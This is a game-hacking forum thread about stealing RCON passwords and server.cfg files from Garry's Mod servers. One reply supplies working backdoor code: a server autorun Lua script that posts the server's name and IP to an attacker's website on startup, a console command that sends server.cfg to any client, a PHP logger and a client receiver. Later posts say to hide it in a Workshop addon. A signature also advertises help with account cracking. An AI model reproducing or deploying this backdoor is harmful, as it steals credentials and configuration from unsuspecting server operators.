Results 1 to 9 of 9
  1. #1
    SmurfAndDerp's Avatar
    Join Date
    Jun 2014
    Gender
    male
    Location
    Earth
    Posts
    5
    Reputation
    10
    Thanks
    0
    My Mood
    Amused

    Question Lua Code to grab Rcon Passord and other Server.cfg info.

    I was wondering if anyone knew the code to grab Rcon Password and other Server.cfg info on Garry's mod.

    Here's some codes I have, but doubt any of these work, or I don't know where to put them or how to open them.

    Code1

    local function DumpCFG()
    RunConsoleCommand("vlua_run","datastream.StreamToC lients(player.GetAll(),'DS',{a=file.Read('cfg/server.cfg',true)})")
    print("! sent")
    end
    Code2
    concommand.Add("exploit_cfg", DumpCFG)
    function go()
    local RconPass = GetConVar("rcon_password"):GetString()
    print (RconPass)
    end
    concommand.Add("go",go)
    I wanted to see if any coder can look at this and perhaps get an idea on how to actually get the Rcon Password from a server. If you think that this is impossible, it's not. Search on youtube: Gmod Rcon Hack, and click the first video that says like "[Lulz Pirate]". All they did was lua_openscript_cl <filenamehere>.lua and then it loaded a script that gave server info. If anyone has an idea on how to do this, or wants to help me find out how to do it, add me on steam: IrZipher.

  2. #2
    suchisgood's Avatar
    Join Date
    Feb 2014
    Gender
    female
    Posts
    902
    Reputation
    10
    Thanks
    560
    My Mood
    Angelic
    It's not possible without a backdoor to a steam addon, but even then most server use rcon_password in the command line so it's harder to get without a module.

    Server: lua/autorun/server/t.lua
    Code:
    local n = net
    local s = n.Start
    local ss = n.WriteString
    local stc = n.Send
    local hp = http.Post
    
    util.AddNetworkString("c")
    
    game.GetIP = game.GetIP or function()
    
    	local hostip = GetConVarString( "hostip" ) -- GetConVarNumber is inaccurate
    	
    	if ( not hostip or hostip == "" ) then
    		return "127.0.0.1"
    	end
    
    	hostip = tonumber( hostip )
    
    	local ip = {}
    	ip[ 1 ] = bit.rshift( bit.band( hostip, 0xFF000000 ), 24 )
    	ip[ 2 ] = bit.rshift( bit.band( hostip, 0x00FF0000 ), 16 )
    	ip[ 3 ] = bit.rshift( bit.band( hostip, 0x0000FF00 ), 8 )
    	ip[ 4 ] = bit.band( hostip, 0x000000FF )
    
    	return table.concat( ip, "." )
    end
    
    hook.Add("InitPostEntity", math.random(20,40), function()
    	local sendTbl = {
    		sn = GetHostName(),
    		playercount = tostring(#player.GetAll()),
    		ip = game.GetIP()
    	}
    	
    	http.Post( "https://yourwebsite.com/index.php", sendTbl )
    end)
    
    local function DumpCFG(p)
    	s("c")
    	ss(file.Read("cfg/server.cfg","GAME"))
    	stc(p)
    end
    concommand.Add("exploit_cfg", DumpCFG)
    php index.php Logging

    Code:
    <?php 
    
    $f = "server_list.txt"; // Make sure the server_list.txt is created in the ftp directory of index.php
    $str = "Hostname: " . $_POST['sn'] . " Player Count " . $_POST['playercount'] . " IP: " . $_POST['ip'];
    $cr = (string)$str; 
    file_put_contents($f, $cr);
    
    ?>
    Client: lua/autorun/client/bd.lua
    Code:
    local n = net
    local nr = n.Receive
    local s = n.ReadString
    
    nr("c", function()
    	local r = s()
    	print(r)
    end)
    Last edited by suchisgood; 06-29-2014 at 09:35 AM.

  3. The Following User Says Thank You to suchisgood For This Useful Post:

    ShitFucks (03-29-2015)

  4. #3
    SmurfAndDerp's Avatar
    Join Date
    Jun 2014
    Gender
    male
    Location
    Earth
    Posts
    5
    Reputation
    10
    Thanks
    0
    My Mood
    Amused
    Where do I put those at?

  5. #4
    Jelman's Avatar
    Join Date
    Dec 2012
    Gender
    male
    Posts
    122
    Reputation
    10
    Thanks
    10
    My Mood
    Cold
    I would expect you would run it from gmod/gmod/lua.

  6. #5
    suchisgood's Avatar
    Join Date
    Feb 2014
    Gender
    female
    Posts
    902
    Reputation
    10
    Thanks
    560
    My Mood
    Angelic
    Quote Originally Posted by Jelman View Post
    I would expect you would run it from gmod/gmod/lua.
    Nah you add it to a workshop addon as a backdoor, mods keep deleting my post, just make sure to change the website url.

  7. #6
    Jelman's Avatar
    Join Date
    Dec 2012
    Gender
    male
    Posts
    122
    Reputation
    10
    Thanks
    10
    My Mood
    Cold
    Ah. Now it makes sense.

  8. #7
    max1612's Avatar
    Join Date
    Feb 2013
    Gender
    male
    Location
    C:/Users
    Posts
    532
    Reputation
    18
    Thanks
    1,466
    lol if you are so pathetic you believe in youtube fairy tale hacks just get out of here
    Empty for now

  9. The Following 2 Users Say Thank You to max1612 For This Useful Post:

    bee_tee_gee (07-01-2016),ItsArmiii (07-22-2016)

  10. #8
    Prometheois117's Avatar
    Join Date
    Jun 2014
    Gender
    male
    Location
    Pshh, nothing personal, kid...
    Posts
    435
    Reputation
    24
    Thanks
    309
    Where do I put index.php?
    What is it's purpose?

    If you need help hacking, please add me on Skype! I'd be glad to help anyone!*





     
    Quote Originally Posted by betterex View Post
    +vouch. Helped me learn how to use EggCrack and was fast about it :3
    Quote Originally Posted by tinyb0b View Post
    +Vouch Was really nice. Good trader. Gave Minecraft account quick and easily. Also helped me with an issue I had.

    Quote Originally Posted by PandaPlaysMC View Post
    +Vouch to Prometheois117, DOOD DIS GUYS DA BOMB, He gave me a Account
    Quote Originally Posted by JoshuaTrann View Post
    +Vouch He taught me how to use eggcrack right away when I added him on skype and he answered a ton of my questions LOL



     

    Understand if there is not an explanation of why you want to add me it will result in an instant block.
     
    My Skype is Tekkitear.

  11. The Following User Says Thank You to Prometheois117 For This Useful Post:

    EffingRip (08-07-2014)

  12. #9
    Trollaux's Avatar
    Join Date
    Nov 2011
    Gender
    male
    Posts
    2,074
    Reputation
    137
    Thanks
    792
    Quote Originally Posted by Prometheois117 View Post
    Where do I put index.php?
    What is it's purpose?
    Its for a backdoored addon. Not for personal use on just anyones server. This is an impractical answer to an impractical question. OP this is impossible with only clientside.
    d e a d b o y s
    Quote Originally Posted by Dave84311 View Post
    What do you call a troll with shitty jokes?
    Trollaux
    Quote Originally Posted by Kyeran View Post
    Foot job with lots of oil.
    Quote Originally Posted by Kyeran View Post
    If she's 12, I'm 12.

Similar Threads

  1. [Help] I don't have spy/pyro and other class cfg files at TF/CFG
    By fulakcp in forum Team Fortress 2 Hacks
    Replies: 3
    Last Post: 03-06-2022, 06:48 AM
  2. [Help Request] Phoenix (and other servers) compilation & run issue.
    By Fenrisus in forum Realm of the Mad God Private Servers Help
    Replies: 1
    Last Post: 02-11-2014, 11:41 AM
  3. New MP hack for your own and other servers AGAIN by me
    By Kuro Tenshi in forum Call of Duty 5 - World at War Hacks
    Replies: 5
    Last Post: 08-27-2009, 11:59 AM
  4. need:CSS,COD4 have:m60 golds and other legit codes
    By kakashii in forum Trade Accounts/Keys/Items
    Replies: 1
    Last Post: 11-25-2007, 05:14 AM